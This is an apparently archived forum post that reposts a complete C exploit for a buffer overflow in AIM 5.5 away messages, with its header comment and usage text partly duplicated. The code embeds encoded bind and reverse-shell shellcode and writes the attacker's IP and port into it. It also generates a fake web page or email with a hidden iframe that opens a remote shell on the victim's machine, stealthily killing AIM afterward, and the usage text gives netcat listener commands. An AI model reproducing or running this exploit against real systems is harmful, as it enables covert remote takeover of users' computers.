Hi people, sorry I'm posting this again but I made a slight error in the code on submission. The error was in the reverse_shellcode return address which I just edited to be more universal using a universal AOL module return address...
/* Begin Exploit Code */
/*
* AIM Away Message Buffer Overflow Exploit
* Exploit by John Bissell A.K.A. HighT1mes
*
* Exploit:
* ========
* drizzit.c
*
* Vulnerable Software:
* ====================
* - AIM 5.5.3588
* - AIM 5.5.3590 Beta
* - AIM 5.5.3591
* - AIM 5.5.3595
* and a couple others versions...
*
* If you want to try other return addressees for other versions of
* AIM then edit the return address.. But the current one embedded
* will work for sure with all the AIM versions listed above.
*
* I used some of the metasploit shellcode for this exploit with some
* modifications to get this into stealth mode so it is harder to
* detect the attack. Since I'm using metasploit shellcode that means this
* exploit can be used on any NT type OS, like win2k, winnt, winxp across
* any service pack.. I don't know about SP2 though I haven't tested
* it yet.
*
* On a side note I pourposly did not include the download+exec shellcode
* even though I have it because I'm sick and tired of these little
* spam/adware bitchs messing peoples computers up for profit.. You can
* still download/upload through the shell to the victim. It just
* isn't automated like download+exec would be.
*
* In my opinion the reverse connect (-r option) is the most dangerous
* because you can encode your ip address and pick a port, and then
* when the victim visits the evil web page or email whatever.. then the
* attack will automatically open his AIM even its not already open and
* connect to you and then terminate the AIM process to be stealth so
* the victim doesn't know what him them.. As I remind people in the
* exploit usage you need to remember to use netcat to listen on a
* port you picked for the exploit to connect to...
*
* One reason I decided to include the generation of html code for
* this exploit is I noticed almost no puts small limits on the
* <IFRAME SRC=""> attribute. So when the victim connects to that
* page or reads that email depending on the browser or client,
* The exploit will execute.. IE 6.0 and Mozilla are
* affected by this problem as well as Outlook Express when the
* security settings are set to the Internet Zone.
*
* Excuse the sloppy commandline interface I just wanted to get
* this out to the public.
*
* [ Original advisory posted by Secunia and iDEFENSE. ]
*
* Greets:
* =======
* IsolationX, YpCat, DaPhire, route, #romhack,
* Taylor Hayes, Aria Giovanni, Anthony Rocha,
* InVerse, Deltaflame, Jenna Jameson, iDENFENSE,
* secunia, so1o, John Kerry, and many others...
*
* Compiler:
* =========
* Visual C++ 6.0
*
* To compile you first must add ws2_32.lib to the Object/librarys modules:
* text box under the Project -> Settings menu; then click on the link tab...
printf("\t-r your_ip or -b\t Choose -r for reverse connect attack mode\n\t\t\t\t and choose -b for a bind attack. By default\n\t\t\t\t if you don't specify -r or -b then a bind\n\t\t\t\t attack will be generated.\n\n");
printf("\t-p (optional)\t\t This option will allow you to change the port \n\t\t\t\t used for a bind or reverse connect attack.\n\t\t\t\t If the attack mode is bind then the\n\t\t\t\t victim will open the -p port. If the attack\n\t\t\t\t mode is reverse connect then the port you\n\t\t\t\t specify will be the one you want to listen\n\t\t\t\t on so the victim can connect to you\n\t\t\t\t right away.\n\n");
printf("\t-o or -e outfile\t\t Here you specify the output method...\n\t\t\t\t If you would like output go straight to\n\t\t\t\t standerd output then specify the -o option\n\t\t\t\t otherwise give the path of where you want to\n\t\t\t\t create the exploit file which is basically\n\t\t\t\t a simple html file. The -o option is useful if\n\t\t\t\t you want to test the exploit url in\n\t\t\t\t different ways.\n\n");
Hi people, sorry I'm posting this again but I made a slight error in the code on submission. The error was in the reverse_shellcode return address which I just edited to be more universal using a universal AOL module return address...
/* Begin Exploit Code */
/*
* AIM Away Message Buffer Overflow Exploit
* Exploit by John Bissell A.K.A. HighT1mes
*
* Exploit:
* ========
* drizzit.c
*
* Vulnerable Software:
* ====================
* - AIM 5.5.3588
* - AIM 5.5.3590 Beta
* - AIM 5.5.3591
* - AIM 5.5.3595
* and a couple others versions...
*
* If you want to try other return addressees for other versions of
* AIM then edit the return address.. But the current one embedded
* will work for sure with all the AIM versions listed above.
*
* I used some of the metasploit shellcode for this exploit with some
* modifications to get this into stealth mode so it is harder to
* detect the attack. Since I'm using metasploit shellcode that means this
* exploit can be used on any NT type OS, like win2k, winnt, winxp across
* any service pack.. I don't know about SP2 though I haven't tested
* it yet.
*
* On a side note I pourposly did not include the download+exec shellcode
* even though I have it because I'm sick and tired of these little
* spam/adware bitchs messing peoples computers up for profit.. You can
* still download/upload through the shell to the victim. It just
* isn't automated like download+exec would be.
*
* In my opinion the reverse connect (-r option) is the most dangerous
* because you can encode your ip address and pick a port, and then
* when the victim visits the evil web page or email whatever.. then the
* attack will automatically open his AIM even its not already open and
* connect to you and then terminate the AIM process to be stealth so
* the victim doesn't know what him them.. As I remind people in the
* exploit usage you need to remember to use netcat to listen on a
* port you picked for the exploit to connect to...
*
* One reason I decided to include the generation of html code for
* this exploit is I noticed almost no puts small limits on the
* <IFRAME SRC=""> attribute. So when the victim connects to that
* page or reads that email depending on the browser or client,
* The exploit will execute.. IE 6.0 and Mozilla are
* affected by this problem as well as Outlook Express when the
* security settings are set to the Internet Zone.
*
* Excuse the sloppy commandline interface I just wanted to get
* this out to the public.
*
* [ Original advisory posted by Secunia and iDEFENSE. ]
*
* Greets:
* =======
* IsolationX, YpCat, DaPhire, route, #romhack,
* Taylor Hayes, Aria Giovanni, Anthony Rocha,
* InVerse, Deltaflame, Jenna Jameson, iDENFENSE,
* secunia, so1o, John Kerry, and many others...
*
* Compiler:
* =========
* Visual C++ 6.0
*
* To compile you first must add ws2_32.lib to the Object/librarys modules:
* text box under the Project -> Settings menu; then click on the link tab...
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
/* Exploit Data */
char injection_vector[] =
"\x61\x69\x6D\x3A\x67\x6F\x61\x77\x61\x79\x3F\x6D\x65\x73\x73\x61"
"\x67\x65\x3D\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41";
char bind_shellcode[] =
"\xEB\x26\x23\x38\x3B\x41\x41"
"\x92\x0f\x29\x12\x41\x41\x41\x41\xD9\xE1\xD9\x34\x24\x58\x58\x58"
"\x58\x80\xE8\xE7\x31\xC9\x66\x81\xE9\x97\xFE\x80\x30\x92\x40\xE2"
"\xFA\x7A\xAA\x92\x92\x92\xD1\xDF\xD6\x92\x75\xEB\x54\xEB\x77\xDB"
"\x14\xDB\x36\x3F\xBC\x7B\x36\x88\xE2\x55\x4B\x9B\x67\x3F\x59\x7F"
"\x6E\xA9\x1C\xDC\x9C\x7E\xEC\x4A\x70\xE1\x3F\x4B\x97\x5C\xE0\x6C"
"\x21\x84\xC5\xC1\xA0\xCD\xA1\xA0\xBC\xD6\xDE\xDE\x92\x93\xC9\xC6"
"\x1B\x77\x1B\xCF\x92\xF8\xA2\xCB\xF6\x19\x93\x19\xD2\x9E\x19\xE2"
"\x8E\x3F\x19\xCA\x9A\x79\x9E\x1F\xC5\xBE\xC3\xC0\x6D\x42\x1B\x51"
"\xCB\x79\x82\xF8\x9A\xCC\x93\x7C\xF8\x98\xCB\x19\xEF\x92\x12\x6B"
"\x94\xE6\x76\xC3\xC1\x6D\xA6\x1D\x7A\x07\x92\x92\x92\xCB\x1B\x96"
"\x1C\x70\x79\xA3\x6D\xF4\x13\x7E\x02\x93\xC6\xFA\x93\x93\x92\x92"
"\x6D\xC7\xB2\xC5\xC5\xC5\xC5\xD5\xC5\xD5\xC5\x6D\xC7\x8E\x1B\x51"
"\xA3\x6D\xC5\xC5\xFA\x90\x92\xB0\x83\x1B\x74\xF8\x82\xC4\xC1\x6D"
"\xC7\x8A\xC5\xC1\x6D\xC7\x86\xC5\xC4\xC1\x6D\xC7\x82\x1B\x50\xF4"
"\x13\x7E\xC6\x92\x1F\xAE\xB6\xA3\x52\xF8\x87\xCB\x61\x39\x1B\x45"
"\x54\xD6\xB6\x82\xD6\xF4\x55\xD6\xB6\xAE\x93\x93\x1B\xEE\xB6\xDA"
"\x1B\xEE\xB6\xDE\x1B\xEE\xB6\xC2\x1F\xD6\xB6\x82\xC6\xC2\xC3\xC3"
"\xC3\xD3\xC3\xDB\xC3\xC3\x6D\xE7\x92\xC3\x6D\xC7\xA2\x1B\x73\x79"
"\x9C\xFA\x6D\x6D\x6D\x6D\x6D\xA3\x6D\xC7\xBE\xC5\x6D\xC7\x9E\x6D"
"\xC7\xBA\xC1\xC7\xC4\xC5\x19\xFE\xB6\x8A\x19\xD7\xAE\x19\xC6\x97"
"\xEA\x93\x78\x19\xD8\x8A\x19\xC8\xB2\x93\x79\x71\xA0\xDB\x19\xA6"
"\x19\x93\x7C\xA3\x6D\x6E\xA3\x52\x3E\xAA\x72\xE6\x95\x53\x5D\x9F"
"\x93\x55\x79\x60\xA9\xEE\xB6\x86\xE7\x73\x19\xC8\xB6\x93\x79\xF4"
"\x19\x9E\xD9\x19\xC8\x8E\x93\x79\x19\x96\x19\x93\x7A\x79\x90\xA3"
"\x52\x1B\x78\xCD\xCC\xCF\xC9\x50\x9A\x92\x65\x6D\x44\x58\x4F\x52";
char reverse_shellcode[] =
"\xEB\x08\x41\x41\x92\x0f\x29\x12\x41\x41\x41\x41\xD9\xE1\xD9\x34"
"\x24\x58\x58\x58\x58\x80\xE8\xE7\x31\xC9\x66\x81\xE9\xAC\xFE\x80"
"\x30\x92\x40\xE2\xFA\x7A\xA2\x92\x92\x92\xD1\xDF\xD6\x92\x75\xEB"
"\x54\xEB\x7E\x6B\x38\xF2\x4B\x9B\x67\x3F\x59\x7F\x6E\xA9\x1C\xDC"
"\x9C\x7E\xEC\x4A\x70\xE1\x3F\x4B\x97\x5C\xE0\x6C\x21\x84\xC5\xC1"
"\xA0\xCD\xA1\xA0\xBC\xD6\xDE\xDE\x92\x93\xC9\xC6\x1B\x77\x1B\xCF"
"\x92\xF8\xA2\xCB\xF6\x19\x93\x19\xD2\x9E\x19\xE2\x8E\x3F\x19\xCA"
"\x9A\x79\x9E\x1F\xC5\xB6\xC3\xC0\x6D\x42\x1B\x51\xCB\x79\x82\xF8"
"\x9A\xCC\x93\x7C\xF8\x9A\xCB\x19\xEF\x92\x12\x6B\x96\xE6\x76\xC3"
"\xC1\x6D\xA6\x1D\x7A\x1A\x92\x92\x92\xCB\x1B\x96\x1C\x70\x79\xA3"
"\x6D\xF4\x13\x7E\x02\x93\xC6\xFA\x93\x93\x92\x92\x6D\xC7\x8A\xC5"
"\xC5\xC5\xC5\xD5\xC5\xD5\xC5\x6D\xC7\x86\x1B\x51\xA3\x6D\xFA\xDF"
"\xDF\xDF\xDF\xFA\x90\x92\xB0\x83\x1B\x73\xF8\x82\xC3\xC1\x6D\xC7"
"\x82\x17\x52\xE7\xDB\x1F\xAE\xB6\xA3\x52\xF8\x87\xCB\x61\x39\x54"
"\xD6\xB6\x82\xD6\xF4\x55\xD6\xB6\xAE\x93\x93\x1B\xCE\xB6\xDA\x1B"
"\xCE\xB6\xDE\x1B\xCE\xB6\xC2\x1F\xD6\xB6\x82\xC6\xC2\xC3\xC3\xC3"
"\xD3\xC3\xDB\xC3\xC3\x6D\xE7\x92\xC3\x6D\xC7\xBA\x1B\x73\x79\x9C"
"\xFA\x6D\x6D\x6D\x6D\x6D\xA3\x6D\xC7\xB6\xC5\x6D\xC7\x9E\x6D\xC7"
"\xB2\xC1\xC7\xC4\xC5\x19\xFE\xB6\x8A\x19\xD7\xAE\x19\xC6\x97\xEA"
"\x93\x78\x19\xD8\x8A\x19\xC8\xB2\x93\x79\x71\xA0\xDB\x19\xA6\x19"
"\x93\x7C\xA3\x6D\x6E\xA3\x52\x3E\xAA\x72\xE6\x95\x53\x5D\x9F\x93"
"\x55\x79\x60\xA9\xEE\xB6\x86\xE7\x73\x19\xC8\xB6\x93\x79\xF4\x19"
"\x9E\xD9\x19\xC8\x8E\x93\x79\x19\x96\x19\x93\x7A\x79\x90\xA3\x52"
"\x1B\x78\xCD\xCC\xCF\xC9\x50\x9A\x92\x65\x6D\x44\x58\x4F\x52";
/* Function Prototypes */
void print_usage(char *prog_name);
unsigned char xor_data(unsigned char byte);
/* Function Code */
int main(int argc, char *argv[])
{
int i = 0;
int raw_num = 0;
unsigned long port = 1337; /* default port for bind and reverse attacks */
unsigned long encoded_port = 0;
unsigned long encoded_ip = 0;
unsigned char print_raw_exploit = 0;
unsigned char attack_mode = 2; /* bind attack by default */
char ip_addr[256];
char exploit[2048];
char str_num[16];
char *p1, *p2;
FILE *EXPLOIT_FP;
char outfile[512];
WSADATA wsa;
if (argc < 2) print_usage(argv[0]);
/* process commandline */
for (i = 0; i < argc; i++) {
if (argv[i][0] == '-') {
switch (argv[i][1]) {
case 'r':
/* reverse connect */
strncpy(ip_addr, argv[i+1], 20);
attack_mode = 1;
break;
case 'b':
/* bind */
attack_mode = 2;
break;
case 'p':
port = atoi(argv[i+1]);
/* port */
break;
case 'o':
print_raw_exploit = 1;
break;
case 'e':
strncpy(outfile, argv[i+1], 256);
}
}
}
/* initialize the socket library */
if (WSAStartup(MAKEWORD(1, 1), &wsa) == SOCKET_ERROR) {
printf("Error: Winsock didn't initialize!\n");
exit(-1);
}
/* build exploit */
strncpy(exploit, injection_vector, strlen(injection_vector));
exploit[strlen(injection_vector)+1]=0; // tack on NULL byte
encoded_port = htonl(port);
encoded_port += 2;
if (attack_mode == 1) {
/* reverse connect attack */
reverse_shellcode[196] = (char) 0x90;
reverse_shellcode[197] = (char) 0x92;
reverse_shellcode[198] = xor_data((char)((encoded_port >> 16) & 0xff));
reverse_shellcode[199] = xor_data((char)((encoded_port >> 24) & 0xff));
p1 = strchr(ip_addr, '.');
strncpy(str_num, ip_addr, p1-ip_addr);
raw_num = atoi(str_num);
reverse_shellcode[191] = xor_data((char)raw_num);
p2 = strchr(p1+1, '.');
strncpy(str_num, ip_addr+(p1-ip_addr)+1, p2-p1);
raw_num = atoi(str_num);
reverse_shellcode[192] = xor_data((char)raw_num);
p1 = strchr(p2+1, '.');
strncpy(str_num, ip_addr+(p2-ip_addr)+1, p1-p2);
raw_num = atoi(str_num);
reverse_shellcode[193] = xor_data((char)raw_num);
p2 = strrchr(ip_addr, '.');
strncpy(str_num, p2+1, 5);
raw_num = atoi(str_num);
reverse_shellcode[194] = xor_data((char)raw_num);
strncat(exploit, reverse_shellcode, sizeof(reverse_shellcode));
}
if (attack_mode == 2) {
/* bind attack */
bind_shellcode[204] = (char) 0x90;
bind_shellcode[205] = (char) 0x92;
bind_shellcode[206] = xor_data((char)((encoded_port >> 16) & 0xff));
bind_shellcode[207] = xor_data((char)((encoded_port >> 24) & 0xff));
strncat(exploit, bind_shellcode, sizeof(bind_shellcode));
}
WSACleanup();
/* output exploit */
if (print_raw_exploit == 1) {
printf("%s", exploit);
}
else {
if ((EXPLOIT_FP = fopen(outfile, "w")) == NULL) {
fprintf(stderr, "Error: Exploit file can't be created!\n");
exit(-1);
}
fprintf(EXPLOIT_FP, "<html>\n");
fprintf(EXPLOIT_FP, "<head>\n");
fprintf(EXPLOIT_FP, "<title>Hey d00d!</title>\n");
fprintf(EXPLOIT_FP, "</head>\n");
fprintf(EXPLOIT_FP, "<body>\n");
fprintf(EXPLOIT_FP, "Some fake web page or email...\n");
fprintf(EXPLOIT_FP, "<iframe width=0 height=0 border=0 src=\"");
fprintf(EXPLOIT_FP, "%s", exploit);
fprintf(EXPLOIT_FP, "\">\n</iframe>\n");
fprintf(EXPLOIT_FP, "</body>\n");
fprintf(EXPLOIT_FP, "<html>\n");
fclose(EXPLOIT_FP);
/* im to lazy to make a macro for this banner :P */
printf(" +-------------------------------------------------+\n");
printf(" | AIM Exploit by John Bissell A.K.A. HighT1mes |\n");
printf(" | AIM Away Message Buffer Overflow Exploit |\n");
printf(" +-------------------------------------------------+\n\n");
printf(" Exploit created!\n\n");
printf(" Remember if you use the -r option to have netcat listening\n");
printf(" on the port you are using for the attack so the victim will\n");
printf(" be able to connect to you when exploited...\n\n");
printf(" Example:\n");
printf("\tnc.exe -l -p %d", port);
}
return(EXIT_SUCCESS);
}
void print_usage(char *prog_name)
{
printf(" +-------------------------------------------------+\n");
printf(" | AIM Exploit by John Bissell A.K.A. HighT1mes |\n");
printf(" | AIM Away Message Buffer Overflow Exploit |\n");
printf(" +-------------------------------------------------+\n\n");
printf(" Exploit Usage:\n");
printf("\t%s -r your_ip | -b [-p port] -o | -e outfile\n\n", prog_name);
printf(" Parameters:\n");
printf("\t-r your_ip or -b\t Choose -r for reverse connect attack mode\n\t\t\t\t and choose -b for a bind attack. By default\n\t\t\t\t if you don't specify -r or -b then a bind\n\t\t\t\t attack will be generated.\n\n");
printf("\t-p (optional)\t\t This option will allow you to change the port \n\t\t\t\t used for a bind or reverse connect attack.\n\t\t\t\t If the attack mode is bind then the\n\t\t\t\t victim will open the -p port. If the attack\n\t\t\t\t mode is reverse connect then the port you\n\t\t\t\t specify will be the one you want to listen\n\t\t\t\t on so the victim can connect to you\n\t\t\t\t right away.\n\n");
printf("\t-o or -e outfile\t\t Here you specify the output method...\n\t\t\t\t If you would like output go straight to\n\t\t\t\t standerd output then specify the -o option\n\t\t\t\t otherwise give the path of where you want to\n\t\t\t\t create the exploit file which is basically\n\t\t\t\t a simple html file. The -o option is useful if\n\t\t\t\t you want to test the exploit url in\n\t\t\t\t different ways.\n\n");
printf(" Examples:\n");
printf("\t%s -r 68.6.47.62 -p 8888 -e c:\\exploit.html\n", prog_name);
printf("\t%s -b -p 1542 -e c:\\new_exploit.html\n", prog_name);
printf("\t%s -b -o\n", prog_name);
printf("\t%s -r 68.6.47.62 -o\n\n", prog_name);
printf(" Remember if you use the -r option to have netcat listening\n");
printf(" on the port you are using for the attack so the victim will\n");
printf(" be able to connect to you when exploited...\n\n");
printf(" Example:\n");
printf("\tnc.exe -l -p 8888");
exit(-1);
}
unsigned char xor_data(unsigned char byte)
{
return(byte ^ 0x92);
}
[ reply ]